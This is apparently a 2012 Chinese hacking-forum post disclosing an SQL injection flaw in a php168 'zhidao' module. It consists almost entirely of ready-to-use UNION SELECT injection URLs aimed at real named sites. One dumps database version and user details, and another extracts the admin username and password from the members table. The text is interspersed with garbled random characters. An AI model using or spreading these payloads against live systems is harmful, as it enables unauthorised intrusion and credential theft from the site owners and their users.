中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--+ ^) K, a2 W4 T: L! }8 w" x

, S' u9 o& `. H2 F                                     [attach]94[/attach]6 {9 t" E) a4 `1 I( J- ]$ e

  J. ]; \$ o! U/ Z2 t5 thttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
+ j$ p2 X5 s0 x6 H: Y- b                                                    - g& D" d% y" K1 I/ G3 @7 @
                                                               / B# p# g8 O+ D) A( }" v
                                                      [attach]95[/attach]( J- U, I. J3 Y0 }+ D! Z/ a$ S
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--8 X+ @9 a- _9 t% ^6 q
) t* ?; C5 C- b8 X  n/ P: A

4 A; a0 E% C. @& V4 m8 c, A6 B7 @; e% {6 W9 {  |* ~- P
                                                         [attach]96[/attach]
6 C+ v) H# q7 V* d& J # a2 L' {# I7 n5 k$ I9 p
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--- q4 V6 @, J+ k6 U; H7 J
. s6 w# N% T4 [. B
; D) C0 R6 u  c) H: X9 S+ j/ E) |3 @
- e) ?( _2 r. w: L: B. s% C
                                                                  [attach]97[/attach]
. }8 X4 m# @4 H+ R

欢迎光临中国网络渗透测试联盟 (https://cobjon.com/)